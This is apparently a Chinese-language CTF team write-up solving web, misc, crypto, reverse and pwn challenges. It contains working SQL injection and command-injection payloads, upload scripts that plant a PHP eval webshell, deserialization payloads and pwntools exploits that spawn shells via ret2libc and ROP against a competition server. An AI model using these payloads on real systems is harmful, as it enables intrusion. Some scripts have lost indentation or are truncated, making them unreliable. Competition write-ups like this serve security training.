avatar

GXY wp

V&N WriteUp

[toc]

WEB

BabySqli

题目给了语句 构造联合查询

1
name=adm'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

GXY{y0u_4re_not_aDmin!}

ping ping ping

upload successful

1;cat$IFSls; 让cat执行ls的结果

参考文章http://www.it1352.com/757355.html

babyupload

条件竞争, 要改content-type, 同时利用.htaccess解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
#Author:ch4ser@V&N
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: 183.129.189.60:10002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://183.129.189.60:10002/
Content-Type: multipart/form-data; boundary=---------------------------7446536503559286391302143604
Content-Length: 405
Connection: close
Cookie: PHPSESSID=8166b4f0a9c99bc68f8e42f1b0da468b
Upgrade-Insecure-Requests: 1

-----------------------------7446536503559286391302143604
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch "win">
SetHandler application/x-httpd-php
</FilesMatch>

-----------------------------7446536503559286391302143604
Content-Disposition: form-data; name="submit"

ä¸ä¼
-----------------------------7446536503559286391302143604--
"""

url = "http://183.129.189.60:10002"
code, head, html, redirect, log = hh.http(url, raw=raw)
print(str(html))


pool = ThreadPool(10)
pool.map(upload, range(1000000))
pool.close()
pool.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
#Author:ch4ser@V&N
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST / HTTP/1.1
Host: 183.129.189.60:10002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://183.129.189.60:10002/
Content-Type: multipart/form-data; boundary=---------------------------15395929361395697859699691703
Content-Length: 392
Connection: close
Cookie: PHPSESSID=8166b4f0a9c99bc68f8e42f1b0da468b
Upgrade-Insecure-Requests: 1

-----------------------------15395929361395697859699691703
Content-Disposition: form-data; name="uploaded"; filename="shell.win"
Content-Type: image/jpeg

<script language="pHp">@eval($_POST['a'])</script>

-----------------------------15395929361395697859699691703

Content-Disposition: form-data; name="submit"

ä¸ä¼
-----------------------------15395929361395697859699691703--
"""

url = "http://183.129.189.60:10002"
code, head, html, redirect, log = hh.http(url, raw=raw)
print(str(html))


pool = ThreadPool(10)
pool.map(upload, range(1000000))
pool.close()
pool.join()

两个脚本一起开然后去访问就行了

babysqli2

宽字节注入union select where需要双写绕过;flag不在当前表中

1
%dd%27and+updatexml(1,concat(1,(selselectect+passwd+from+user)),1)%23%dd%27and+updatexml(1,concat(1,(selselectect+group_concat(table_name)+from+information_schema.tables+whwhereere+table_schema=database())),1)%23

upload successful

1
%dd%27and+updatexml(1,concat(1,(selselectect+group_concat(2)+from+(selecselectt+1,2+uniounionn+selecselectt+*+from+f14g)b)),1)%23

upload successful 用reverse倒过来读最后一个条目好奇怪啊就读出来就这么点
upload successful 手动把flag补完就行

BabysqliV3.0

登陆口admin password上去upload目录能读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 



<form action="" method="post" enctype="multipart/form-data">

ä¸Šä¼ æ–‡ä»¶

<input type="file" name="file" />

<input type="submit" name="submit" value="ä¸Šä¼ " />

</form>



<?php

error_reporting(0);

class Uploader{

public $Filename;

public $cmd;

public $token;



function __construct(){

$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";

$ext = ".txt";

@mkdir($sandbox, 0777, true);

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){

$this->Filename = $_GET['name'];

}

else{

$this->Filename = $sandbox.$_SESSION['user'].$ext;

}



$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";

$this->token = $_SESSION['user'];

}



function upload($file){

global $sandbox;

global $ext;



if(preg_match("[^a-z0-9]", $this->Filename)){

$this->cmd = "die('illegal filename!');";

}

else{

if($file['size'] > 1024){

$this->cmd = "die('you are too big (′▽`〃)');";

}

else{

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

}

}

}



function __toString(){

global $sandbox;

global $ext;

// return $sandbox.$this->Filename.$ext;

return $this->Filename;

}



function __destruct(){

if($this->token != $_SESSION['user']){

$this->cmd = "die('check token falied!');";

}

eval($this->cmd);

}

}



if(isset($_FILES['file'])) {

$uploader = new Uploader();

$uploader->upload($_FILES["file"]);

if(@file_get_contents($uploader)){

echo "ä¸‹é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";

echo file_get_contents($uploader);

}

}



?>

phar没打出来 一看文件名可控直接写进去个webshell- -问了下出题人说是非预期

后来看了眼可能是因为出题人手贱多在.前面打了个空格-。-然后正则匹配的就是’ .'了 就相当于没写

upload successful
upload successful
upload successful

Do you know robot

1
?exp=O:10:"FileReader":4:{s:8:"Filename";s:58:"php://filter/read=convert.base64-encode/resource=index.php";s:5:"start";i:0;s:10:"max_length";i:10000;}

get参数置空 post参数里传payload


upload successful

禁止套娃!

无参RCE;git与网站源码不一样==所以可以用下划线

1
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

多刷新几次

MISC

佛系青年

附件内的文本文件直接打不开,然后尝试提取压缩包,文本文件就可以打开了。
upload successful
upload successful 内容为与佛论禅加密,在线解密得到flag。
upload successful
upload successful

gakki

binwalk分解出压缩包,数字爆破得到密码8864,解出flag文本文件,内容为看不懂是什么密码的密码,
upload successful 通过HxD统计出不同字符出现的次数排序,依次排列得出flag。
upload successful flag:GXY{gaki_IsMyw1fe}

附一个魔改百度搜的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: UTF-8 -*-
def processLine(line, CharacterCounts):
for character in line:
#if ord(character) in range(97, 123):
if ord(character) in range(32,126):
CharacterCounts[character] += 1

#创建字母字典
def createCharacterCounts(CharacterCounts):
#for i in range(97, 123):
for i in range(32, 126):
CharacterCounts[chr(i)] = 0

def main():
#用户输入一个文件名
# filename = input("enter a filename:").strip()
filename = "123.txt"
infile = open(filename, "r")

#建立用于计算词频的空字典
CharacterCounts = {}
#初始化字典键值
createCharacterCounts(CharacterCounts)
for line in infile:
#processLine(line.lower(), CharacterCounts)
processLine(line, CharacterCounts)

#从字典中获取数据对
pairs = list(CharacterCounts.items())

#列表中的数据对交换位置,数据对排序
items = [[x,y] for (y,x) in pairs]
items.sort(reverse=True)

#输出count个数词频结果
for i in range(len(items)):
#print(items[i][1]+"\t"+str(items[i][0]))
print(items[i][1],end='')

infile.close()

if __name__ == '__main__':
main()


upload successful

babync

直接用pwntools了。。折半查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#Author:小帽@V&N


p=remote('183.129.189.60','10029')


numi=340282366879330029263004840
numa=340289366879330029263994840
numv=(numa+numi)/2
while 1:
p.sendline(str(numv))
ret=p.recv()
if ret=='too small':
numi=numv
print 'small'
elif ret=='too big':
numa=numv
print 'big'
elif ret=='It took too long to break the link!':
print 'slow'
break
else:
print ret
numv=(numa+numi)/2
print numv


upload successful

SXMgdGhpcyBiYXNlPw==

好多后面都有两个等于,base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#Author:小帽@V&N
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s1)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('code.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_lin
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i+8], 2))
print res_str
solve_stego()

https://www.jianshu.com/p/48fe4dd3e5ce

upload successful

Crypto

CheckIn

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==该字符串转base64得到

1
v)*L*_F0<}@H0>F49023@FE0#@EN

再转ROT47即可得到flag:GXY{Y0u_kNow_much_about_Rot}

Common Modulus Attack

基本和ByteCTF lrlr一样ByteCTF那题是python,这题是Java。Python内置的Random实现是MT19937,连续624个输出就能预测。Java内置的是线性同余生成器,简单的很,连续2个输出就能算出seed,进而预测。seed出来后,思路跟ByteCTF那题一模一样.
贴lrlr的wp:
http://www.soreatu.com/ctf/writeups/Writeup for Bytes CTF 2019.html#crypto-lrlr 放进在线网站反编译.class文件,即可看到java代码。先利用old.txt里的前两次输出找到seed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#Author:Soreat_u@V&N
int main()
{
long multiplier = 25214903917L;
long addend = 11L;
long mask = 281474976710655; // (1<<48) - 1
long v1 = -1029728314;
long v2 = 1487023297;

long seed, tmp;
for (int i=0; i < 65537; ++i) {
seed = (v1 << 16) + i;
if (((seed * multiplier + addend) & mask) >> 16 == v2) {
printf("seed: %ld\n", seed);
break;
}
}

tmp = seed;
for (int j=0; j < 20; ++j) {
printf("%d\n", tmp >> 16);
tmp = (multiplier * tmp + addend) & mask;
}
return 0;
}

得到seed:-67484274725178L随机数的利用链:

  • 20次nextInt()

  • RSA的24组512-bit的p和q

  • 72次的16-byte的AES.key

魔改反汇编的java代码,预测出RSA的p,q和AES.key

// 有一个很坑的地方:Java的setSeed(x)居然并不会把x作为seed,而是先要异或下0x5DEECE66DL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//Author:Soreat_u@V&N
import java.util.Scanner;
import java.nio.file.Paths;
import java.security.spec.AlgorithmParameterSpec;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.util.ArrayList;
import java.util.Random;

public class CommonModulusAttack
{
private Random random;
private ArrayList<BigInteger> states;
private String seed;
private int statespoint;
private int stateselse;

public CommonModulusAttack() {
this.random = new Random();

final long random_seed = -67484274725178L;
this.random.setSeed(random_seed ^ 0x5DEECE66DL);
}

public void oldtest() {
try {
final PrintWriter printWriter = new PrintWriter("old.txt", "UTF-8");
for (int i = 0; i < 19; ++i) {
printWriter.println(this.random.nextInt());
}
printWriter.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
}

public void gen_states() {
try {

final PrintWriter printWriter = new PrintWriter("pqs", "UTF-8");
for (int i = 0; i < 24; ++i) {
final BigInteger p = BigInteger.probablePrime(512, this.random);
final BigInteger q = BigInteger.probablePrime(512, this.random);
printWriter.println(p);
printWriter.println(q);
}
printWriter.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
}

public void keys() {
try {
final PrintWriter printWriter = new PrintWriter("keys.txt", "UTF-8");
for (int i=0; i < 72; ++i) {
final byte[] array = new byte[16];
this.random.nextBytes(array);
printWriter.println(bytesToHex(array));
}
printWriter.close();
}
catch (IOException ex) {
ex.printStackTrace();
}
}

private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = HEX_ARRAY[v >>> 4];
hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
}
return new String(hexChars);
}

public static void main(final String[] array) {
final CommonModulusAttack commonModulusAttack = new CommonModulusAttack();
commonModulusAttack.oldtest(); // 20 nextInt()
commonModulusAttack.gen_states(); // 24 p, q
commonModulusAttack.keys(); // 72 keys
}
}

找到product里面的第一组AES密文c1。

c1的生成链:

pow(init_state, 17, n1) -> state1 -> AES(state1, key25) -> new_state1 -> AES(new_state1, key49) -> c1

那么,只需用预测的key25和key49,连续两次AES.CBC解密,再由第一组RSA的p,q解密,即可得到init_seed // 甚至都不需要共模攻击,属实迷惑行为

最后需要逆generate_init_state(),能看得出来这里是一个有限域GF(2^256)上的乘法,但还是不能理解为什么迭代下自己就可以复原。贴上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import long_to_bytes, inverse
from Crypto.Cipher import AES

#Author:Soreat_u@V&N

cipher1 = bytes.fromhex("22004ab9b42734a1ebd9ca08fd3766f78ad2f865e6d8e490f9ef388a1002acbda09d2d081241794e1d7ca3dc67e04b6e4e06eb8a8104eed8b26f5b03dfeaf0144aac16a043cea741079bc6d1798836ad902aec6b012e138153902f51a4227d601bc11647bd2855e67fc5a08d3b420e6a62fdca68e8cfe40996fd91fe355bad08")


key49 = bytes.fromhex("E73CC771B5A0B045DCB8BCC9D9551C22")
key25 = bytes.fromhex("68DDBDAEFD255770A471A2800F81BBD1")


aes1 = AES.new(key49, AES.MODE_CBC, b"\x00"*16)
aes0 = AES.new(key25, AES.MODE_CBC, b"\x00"*16)


c = int( aes0.decrypt(aes1.decrypt(cipher1)).hex(), 16 )
p = 12825065025878710759162964349802087782860107496403716766274740786571032106924134308574766701708616457941860761080326431144082954680761914086113148564919457
q = 7704827937656035420834825799339182896303078847917781348941958931525277721877010673289389897182492405293548821079884707899741616926782311832681879311806253
e = 17
m = pow(c, inverse(e, (p-1)*(q-1)), p*q)


# print(m)


def mul(x):
a = 0
for i in bin(x)[2:]:
a = a << 1
if (int(i)):
a = a ^ x
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223
return a


for i in range(100000):
m = mul(m)
if b'flag' in long_to_bytes(m):
print(long_to_bytes(m), i)
break

flag{86824087489918371343860652}

Reverse

luck_guy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
//Author:L0x1c@V&N
int main() {
char f2[] = "icug`of ";
char v1[8];
for (int j = 0; j <= 7; ++j)
{
if (j % 2 == 1)
v1[j] = f2[j] - 2;
else
v1[j] = f2[j] - 1;
f2[j] = v1[j];
}
printf("%s", f2);
}

simplecpp

关键判断条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v20 = v15[2] & ~v15[0]  

v20 = 1176889593874

v24 = v15[2] & ~v15[0] | v15[1] & v15[0] | v15[2] & ~v15[1] | v15[0] & ~v15[1]

v24 = 4483974544037412639

v27 = v15[2] & ~v15[1] & v15[0] | v15[2] & (v15[1] & v15[0] | v15[1] & ~v15[0] | ~(v15[1] | v15[0]))

v27 = 577031497978884115

(v24 ^ v15[3]) = 4483974543195470111

(v15[2] & ~v15[0] | v15[1] & v15[0] | v15[1] & v15[2]) = (~v15[0] & v15[2] | 0xC00020130082C0C)

将输入的DXY{}中间的字符处理 :与0异或,第24位与0F异或每8位凑一个 int64 依次放入v15[0]-[3]

按条件依次求得 v15[0]-[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from z3 import *
#Author:L0x1c@V&N

x,y,z,q=BitVecs('x y z w',64)

s=Solver()

s.add((~x)&z==1176889593874)

s.add(((z&~x)|(x&y)|(z&~y)|(x&~y))==4483974544037412639)

s.add(((z&~x)|(x&y)|(z&(~y))|(x&(~y)))^w==4483974543195470111)

s.add(((z&~y)&x|z&((x&y)|y&~x|~(y|x)))==577031497978884115)

print s.model()

print s.check()

sat

[w = 842073600,

y = 3906943046058528520,

x = 4483973367147818765,

z = 577031497978884115]

upload successful

“i_will_check_is_debug_or_not”

upload successful

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
//Author:L0x1c@V&N
int main() {

char a[29] = "i_will_check_is_debug_or_not";

int b[30] = { 0x3e,0x3a,0x46,0x05,0x33,0x28,0x6f,0x0d,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x08,0x2,0x07,0x17,0x15,0x3e,0x30,0x13,0x32,0x31,0x06,0x00,0x00 };

for (int i = 0;i < 27; i++) {

printf("%c", a[i % 27] ^ b[i]);

}

return 0;

}

upload successful

给了二部分e!P0or_a

直接改一下

GXY{We1l_D0ne!P0or_algebra_am_i}

minecraft

upload successful

upload successful

upload successful

进行了爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<iostream>
#include<string>
#include<boost/functional/hash.hpp>

std::string set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

size_t arr[] = {
0x6C43B2A7,
0x7954FD91,
0xA3E9532,
0xB87B5156,
0xDA847742,
0x2395E7F3,
0xA679D954,
0xE1FAAFF7
};
int main() {
boost::hash<std::string> string_hash;
for (int i1 = 0; i1 < 64; i1++)
for (int i2 = 0; i2 < 64; i2++)
for (int i3 = 0; i3 < 64; i3++)
for (int i4 = 0; i4 < 64; i4++) {
std::string s;
s += set[i1];
s += set[i2];
s += set[i3];
s += set[i4];
auto x = string_hash(s) & 0xffffffff;
for (int idx = 0; idx < 8; idx++) {
if (x == arr[idx]) {
std::cout << s << " :" << idx << " " << std::hex << arr[idx] << std::endl;
}
}
}
return 0;
}

Pwn

Terrible httpd

实现了一个简单的httpd,根据请求的文件名读取文件并返回,有index.html

本地测试发现读文件没有做限制,可以直接读取flag

upload successful

fantasy

1
2
3
4
5
6
from pwn import *
#Author:AiDai@V&N
r = remote('183.129.189.60',10025)
payload = 'a'*0x38+p64(0x400735)
r.sendline(payload)
r.interactive()

my canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
#Author:ERROR404@V&N
my_cannary=ELF("./my_cannary")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./my_cannary")

payload='This is '+p64(0)*0x5+p64(0x400A8B)+'This is '+p64(0xdeadbeef)+p64(0x400a43)+p64(my_cannary.got['puts'])+p64(my_cannary.plt['puts'])+p64(0x400998)
sh.recvuntil("Now let's begin")
sh.sendline(payload)
sh.recvuntil('\x0a')
libc_base=u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))-libc.symbols['puts']
binsh_addr=libc_base+libc.search('/bin/sh').next()

# gdb.attach(sh)

payload='This is '+p64(0)*0x5+p64(0x400A8B)+'This is '+p64(0xdeadbeef)+p64(0x400a43)+p64(binsh_addr)+p64(my_cannary.plt['system'])+p64(0x400998)
sh.recvuntil("Now let's begin")
sh.sendline(payload)
sh.interactive()
print(sh.recv())

blind note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#Author:ERROR404@V&N
# file_name=ELF("./")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def creat(value):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('please enter your note number')
sh.sendline(str(value))

def show(index):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('which one ?')
sh.sendline(str(index))

def delete():
sh.recvuntil('>')
sh.sendline('3')

sh = remote('183.129.189.60', 10028)
sh.recvuntil('>')
sh.send('66')
sh.recvuntil('This is my id:')
puts_addr =u64(sh.recvuntil('\x0a').strip('\x0a').ljust(8,'\x00'))
libc_addr =puts_addr-libc.symbols['puts']
system_addr=libc_addr+libc.symbols['system']
binsh_addr =libc_addr+libc.search('/bin/sh').next()
rop_addr =libc_addr+libc.search(asm('pop rdi;ret')).next()
log.info('pop rdi address is '+str(hex(rop_addr)))
for i in range(31):
creat('-')
show(26)
sh.recvuntil('note num is : ')
canarypart1=int(sh.recvuntil('\n').strip('\n'))
show(27)
sh.recvuntil('note num is : ')
canarypart2=int(sh.recvuntil('\n').strip('\n'))
show(30)
sh.recvuntil('note num is : ')
main_addr=int(sh.recvuntil('\n').strip('\n'))
log.info('canary part one is '+str(hex(canarypart1)))
log.info('canary part two is '+str(hex(canarypart2)))
log.info('main addr is '+str(hex(main_addr)))
canary_addr=canarypart2*0x100000000+canarypart1
log.info('canary is '+str(hex(canary_addr)))
for i in range(31):
delete()
raw_input()
for i in range(26):
creat('-')
creat(canarypart1)
creat(canarypart2)
creat(canarypart1)
creat(canarypart2)
creat(rop_addr % 0x100000000)
creat(rop_addr / 0x100000000)
creat(binsh_addr % 0x100000000)
creat(binsh_addr / 0x100000000)
creat(system_addr % 0x100000000)
creat(system_addr / 0x100000000)
# creat()
# log.info('canary address is '+str(hex(canary)))
# creat(canary)
sh.interactive()
print(sh.recv())
print(sh.recv())
print(sh.recv())

seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/python2
# -*- coding: utf-8 -*-

# author : 5k1l

from pwn import *
import sys

context.log_level = 'info'

# template need set
path = './seccomp'

port = 10027

host = '183.129.189.60'

# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

# default
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


nremote = False
if len(sys.argv) > 2:
nremote = True
if not nremote:
p = process(path)
else :
p = remote(host,port)

def ga():
if type(p) == pwnlib.tubes.process.process:
gdb.attach(p)
else:
info('remote')

def wait(idx):
p.sendlineafter('delete',str(idx))

def add(idx,content):
wait(1)
p.sendlineafter('index',str(idx))
p.sendafter('code',content)

def free(idx):
wait(3)
p.sendlineafter('index',str(idx))

def bomb(idx,content):
wait(2)
p.sendlineafter('index',str(idx))
p.sendlineafter('size',str(len(content)))
p.sendafter('code',content)

c = p.recvuntil('1')

if 'y' in c:
return True
else:
return False

def show(idx,n):
rel = ''
for i in range(n):
print i
for j in range(256):
if bomb(idx,rel+chr(j)):
rel += chr(j)
break
return rel

def start():
global p
p.close()
if nremote:
p = remote(host,port)
else:
p = process(path)
def exploit():
flag = ''
add(0,'aaaa')
add(1,'aaaa')


free(0)
free(1)
add(0,'a')
add(1,'aa')
heap = u64(show(0,6)+'\x00\x00') - 0x61
info(hex(heap))
add(2,'adsff')
add(3,'sdfsdfsd')
add(4,'a')
ppp = 0x0000000000400c6e #: pop r13 ; pop r14 ; pop r15 ; ret
pp = 0x0000000000400c71 #: pop rsi ; pop r15 ; ret
p1 = 0x0000000000400c73 #: pop rdi ; ret
pp1 = 0x0000000000400c70 #: pop r14 ; pop r15 ; ret
prbp = 0x0000000000400800 #: pop rbp ; ret
add(5,p64(0x0000000000400800)+p64(heap+0x100)+p64(ppp)+p64(0))
add(6,p64(0x0000000000400c73)+p64(0x602020)+p64(0x04006E0)+p64(0x0000000000400c70))
add(7,p64(0x400C6B)+p64(1)+p64(0x602038)+p64(0x200))
add(8,p64(0x400C70)+p64(heap+0x1b0)+p64(0)+p64(0x400C50))

p.sendafter('delete',str(1).ljust(16,'\x00')+p64(heap+0x100-8))

p.sendline('1')
#ga()
p.sendline('4')
p.recvuntil('seccomp\n')
puts = u64(p.recvn(6)+'\x00\x00')
info(hex(puts))
libc.address = puts-0x6f690
info(hex(libc.address))
#0x0000000000033544 pop rax ; ret
#syscall 0xf725e
#0x0000000000021102 p rdi ret
#ga()
payload = p64(0)*7
payload += p64(libc.address+0x00000000000202e8)
payload += p64(0)
payload += p64(libc.address+0x1b92)
payload += p64(0)
payload += p64(libc.address+0x33544)
payload += p64(2)
payload += p64(0x0000000000400c73)
payload += p64(heap+0x2b0)
payload += p64(libc.address+0xf725e)
#payload += p64(0)
# open
#fd buf bytes
payload += p64(libc.address+0x1b92)
payload += p64(0x200)
payload += p64(0x0000000000400c73)
payload += p64(3)
payload += p64(libc.address+0x00000000000202e8)
payload += p64(heap+0x300)
payload += p64(libc.address+0x33544)
payload += p64(0)
payload += p64(libc.address+0xf725e)
#payload += p64(0)
#read 0
# fd buf bytes
payload += p64(0x0000000000400c73)
payload += p64(1)
payload += p64(libc.address+0x00000000000202e8)
payload += p64(heap+0x300)
payload += p64(libc.address+0x33544)
payload += p64(1)
payload += p64(libc.address+0xf725e)
#payload += p64(0)

# write 1
payload = payload.ljust(0x100,'\x00')+'./flag\x00'
p.send(payload)
p.interactive()
p.close()
return flag
if __name__ == "__main__":
exploit()
Author: L0x1c
Link: https://l0x1c.github.io/2019/12/22/2019-12-22/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶